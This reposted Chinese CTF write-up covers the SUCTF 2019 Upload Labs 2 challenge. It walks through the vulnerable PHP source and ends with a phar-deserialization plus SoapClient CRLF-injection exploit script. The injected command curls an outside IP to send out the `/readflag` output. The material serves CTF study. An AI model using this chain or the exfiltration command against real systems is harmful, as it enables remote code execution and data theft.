65，【5】buuctf web [SUCTF 2019]Upload Labs 2

🕗 发布于 2025-01-22 06:00 笔记学习

进入靶场

1,源代码

点击题目时有个就有个admin.php

<?php
// 引入配置文件
include 'config.php';

class Ad{

    public $cmd;
    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;

    // 构造函数，用于初始化对象的属性
    function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
        // 存储命令
        $this->cmd = $cmd;
        // 存储类名
        $this->clazz = $clazz;
        // 存储第一个函数名
        $this->func1 = $func1;
        // 存储第二个函数名
        $this->func2 = $func2;
        // 存储第三个函数名
        $this->func3 = $func3;
        // 存储第一个参数
        $this->arg1 = $arg1;
        // 存储第二个参数
        $this->arg2 = $arg2;
        // 存储第三个参数
        $this->arg3 = $arg3;
    }

    // 检查方法，使用反射来调用类的方法
    function check(){
        // 创建一个反射类，用于实例化类
        $reflect = new ReflectionClass($this->clazz);
        // 实例化类
        $this->instance = $reflect->newInstanceArgs();
        // 创建一个反射方法，用于调用类的第一个方法
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        // 调用类的第一个方法，并传递第一个参数
        $reflectionMethod->invoke($this->instance, $this->arg1);
        // 创建一个反射方法，用于调用类的第二个方法
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        // 调用类的第二个方法，并传递第二个参数
        $reflectionMethod->invoke($this->instance, $this->arg2);
        // 创建一个反射方法，用于调用类的第三个方法
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        // 调用类的第三个方法，并传递第三个参数
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    // 析构函数，在对象销毁时执行
    function __destruct(){
        // 使用 system 函数执行存储的命令
        system($this->cmd);
    }
}

// 检查请求是否来自本地
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    // 检查是否有 admin 的 POST 请求
    if(isset($_POST['admin'])){
        // 获取 POST 请求中的命令
        $cmd = $_POST['cmd'];
        // 获取 POST 请求中的类名
        $clazz = $_POST['clazz'];
        // 获取 POST 请求中的第一个函数名
        $func1 = $_POST['func1'];
        // 获取 POST 请求中的第二个函数名
        $func2 = $_POST['func2'];
        // 获取 POST 请求中的第三个函数名
        $func3 = $_POST['func3'];
        // 获取 POST 请求中的第一个参数
        $arg1 = $_POST['arg1'];
        // 获取 POST 请求中的第二个参数
        $arg2 = $_POST['arg2'];
        // 获取 POST 请求中的第三个参数
        $arg3 = $_POST['arg3'];
        // 创建一个 Ad 类的对象，并传递相应参数
        $admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        // 调用 check 方法
        $admin->check();
    }
}
else {
    // 输出非管理员信息
    echo "You r not admin!";
}

此文件定义了 Ad类，使用了反射机制。__construct 方法接收多个参数，包括 cmd、clazz、func1、func2、func3、arg1、arg2 和 arg3，存储在对象属性中。
check 方法使用反射来实例化 $clazz 存储的类，并调用该类的三个函数 func1、func2 和 func3，并传递相应的参数。
__destruct 方法使用 system 函数执行 cmd 存储的命令.
有一个简单的权限检查，仅允许 127.0.0.1 地址的请求访问，通过检查 $_SERVER['REMOTE_ADDR'] ，若请求包含 admin 的 POST 请求，会根据 POST 数据创建 Ad 类对象并调用其 check 方法。
Ad 类的 __destruct 方法使用 system 函数执行 cmd 命令，可能导致命令执行漏洞。

源码里有

func.php

<?php
// 引入 class.php 文件
include 'class.php';

// 检查是否同时设置了 submit 和 url 的 POST 请求
if (isset($_POST["submit"]) && isset($_POST["url"])) {
    // 使用正则表达式检查 url 的内容是否包含一些危险的协议或关键字
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        // 如果包含危险的协议或关键字，终止程序并输出提示信息
        die("Go away!");
    }else{
        // 获取 POST 请求中的 url 数据
        $file_path = $_POST['url'];
        // 创建 File 类的新实例，将 url 作为参数传递给构造函数
        $file = new File($file_path);
        // 调用 File 类的 getMIME 方法
        $file->getMIME();
        // 输出文件类型信息
        echo "<p>Your file type is '$file' </p>";
    }
}
?>

该文件引入 class.php 并检查 submit 和 url 的 POST 请求是否同时存在。
使用正则表达式对 url 进行检查，防止一些危险的协议或关键字，若匹配则终止程序。
若通过检查，会创建 File 类的对象并调用 getMIME 方法获取文件的 MIME 类型。

class.php

<?php
// 引入 config.php 文件
include 'config.php';

class File {
    // 存储文件名的公共属性
    public $file_name;
    // 存储文件类型的公共属性
    public $type;
    // 存储函数名的公共属性，默认为 "Check"
    public $func = "Check";

    // 构造函数，接收文件名作为参数
    function __construct($file_name) {
        $this->file_name = $file_name;
    }

    // 当对象反序列化时调用此方法
    function __wakeup() {
        // 使用反射类根据 $func 属性创建一个新的对象
        $class = new ReflectionClass($this->func);
        // 使用反射类实例化对象，并将 $file_name 作为参数传递
        $a = $class->newInstanceArgs([$this->file_name]);
        // 调用新对象的 check 方法
        $a->check();
    }

    // 获取文件 MIME 类型的方法
    function getMIME() {
        // 打开文件信息资源
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        // 获取文件的 MIME 类型
        $this->type = finfo_file($finfo, $this->file_name);
        // 关闭文件信息资源
        finfo_close($finfo);
    }

    // 当对象作为字符串使用时调用此方法
    function __toString() {
        // 返回文件的类型
        return $this->type;
    }
}

class Check {
    // 存储文件名的公共属性
    public $file_name;

    // 构造函数，接收文件名作为参数
    function __construct($file_name) {
        $this->file_name = $file_name;
    }

    // 检查文件内容的方法
    function check() {
        // 获取文件的内容
        $data = file_get_contents($this->file_name);
        // 检查文件内容是否包含 "<?", 若包含则终止程序
        if (mb_strpos($data, "<?")!== FALSE) {
            die("&lt;? in contents!");
        }
    }
}

此文件定义了 File 类和 Check 类。
File 类的 __construct 方法接收文件名并存储，__wakeup 方法使用反射创建 Check 类的对象并调用其 check 方法，对文件进行检查。
getMIME 方法使用 finfo 函数获取文件的 MIME 类型，__toString 方法返回文件类型。
Check 类的 check 方法检查文件内容是否包含 "<?"，若包含则终止程序。
- File 类的 __wakeup 方法使用反射创建对象，但没有对 func 属性进行严格的验证和过滤，使得攻击者可以控制要实例化的类，这是一个潜在的反序列化漏洞入口。

不过连<?都过滤了，还能传什么？？？？

2，该构造payload了

参考[SUCTF 2019]Upload Labs 2 phar+Soapclient结合_suctf-2019-web-upload labs 2-CSDN博客

这篇博客最后还有出题人写的笔记

<?php
// 创建一个 Phar 文件
$phar = new Phar('333.phar');
$phar->startBuffering();
$phar->addFromString('333.txt', 'text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {
    public $file_name = "";
    public $func = "SoapClient";

    function __construct() {
        $target = "http://127.0.0.1/admin.php";
        $post_string = 'admin=1&cmd=curl "http://174.0.125.63:888"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
        $headers = [];
        $this->file_name  = [
            null,
            array('location' => $target,
                  'user_agent' => str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^', $headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri' => 'hello')
        ];
    }

    function createObject() {
        // 使用反射根据 $func 属性创建一个新的对象
        $class = new ReflectionClass($this->func);
        // 使用反射类实例化对象，并将 $file_name 作为参数传递
        $a = $class->newInstanceArgs([$this->file_name]);
        return $a;
    }
}

$object = new File();
// 对序列化后的对象进行 URL 编码
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

// 以下是对创建的对象使用反射实例化的部分，为了演示将其放在同一文件中，但在实际应用中可能需要根据具体情况调整调用位置
if ($object instanceof File) {
    $createdObject = $object->createObject();
    // 这里可以根据 $createdObject 的类型和具体需求进行进一步的操作
    // 例如，检查是否为 SoapClient 类的实例
    if ($createdObject instanceof SoapClient) {
        echo "Successfully created SoapClient object";
    } else {
        echo "Failed to create SoapClient object";
    }
}

将运行结果传上去应该就能得到flag了，不过现在手头能运行PHP的东西都出了点问题

原文地址：https://blog.csdn.net/2402_87039650/article/details/145290586

免责声明：本站文章内容转载自网络资源，如侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！

上一篇：66，【6】buuctf web [HarekazeCTF2019]Avatar Uploader 1
下一篇：GESP6级语法知识（二）：动态规划算法（二）

SpringDoc和Swagger使用
Swagger和Springdoc是两个常用的工具，用于生成和维护API文档，特别是针对基于REST的Web服务。它们有效地提升了API的可读性和可维护性，帮助开发者、产品经理和其他利益相关者更好地理
阅读更多2025-01-22
算法随笔_15: 找到K个最接近的元素
找到K个最接近的元素题目解析，通俗易懂。
阅读更多2025-01-22
Yocto项目 - 学习与实践中的挑战
Yocto项目是一种功能强大的工具集合，专为嵌入式Linux开发设计。它允许开发者构建高度定制化的Linux系统镜像。然而，尽管Yocto项目在嵌入式领域的地位毋庸置疑，许多开发者在学习和实践过程中会
阅读更多2025-01-22
智能运维分析决策系统：赋能数字化转型的智慧引擎
智能运维分析决策系统是基于大数据平台的智能化运维解决方案，它利用机器学习算法对海量运维数据进行实时分析，自动识别异常、预测故障、优化资源配置，并通过自然语言处理等技术实现运维知识的自动化学习和传播。A
阅读更多2025-01-22
鸿蒙操作系统的安全架构
在当今数字化时代，数据安全与隐私保护成为人们日益关注的焦点。随着智能设备的普及和互联网技术的发展，个人数据泄露的风险也在不断增加。作为中国自主研发的操作系统，鸿蒙（HarmonyOS）从设计之初就将数
阅读更多2025-01-22
Vue3+Elementplus物流订单信息跟踪管理
Vue3+Elementplus物流订单信息跟踪管理(CRUD)
阅读更多2025-01-22
如何使用 Pytest -k 选项轻松筛选测试用例
关注开源优测不迷路大数据测试过程、策略及挑战测试框架原理，构建成功的基石在自动化测试工作之前，你应该知道的10条建议在自动化测试中，重要的不是工具你是否曾不得不从成百上千个测试中费力筛选，只为运行几个
阅读更多2025-01-22
【二叉树的深搜】计算布尔二叉树的值 && 求根节点到叶节点数字之和
在遍历期间要注意的是我们可以不需要在递归函数开头给出递归函数的出口，因为题目节点个数是大于零的，所以保证一开始是不会访问空指针的，我们只需要在递归左右子树之前判断左右孩子节点是否存在即可，其它的
阅读更多2025-01-22
[Qt]系统相关-多线程、线程安全问题以及线程的同步机制
Qt多线程编程是开发中的重要部分。首先介绍多线程概念及操作，包括线程创建、QThread常用API和使用案例，阐述其使用场景。接着是线程安全问题，互斥锁可保证资源独占访问，会介绍并给出使用案例；读写锁
阅读更多2025-01-22
php怎么接入AI人工智能
PHP可以通过HTTP请求与AI服务（如Google的AI服务，Microsoft的AI服务，或者其他第三方AI服务）进行交互。为你的AI服务的实际URL和需要发送的数据。将取决于AI服务的具体响应格
阅读更多2025-01-22

65，【5】buuctf web [SUCTF 2019]Upload Labs 2

1,源代码

2，该构造payload了

相关文章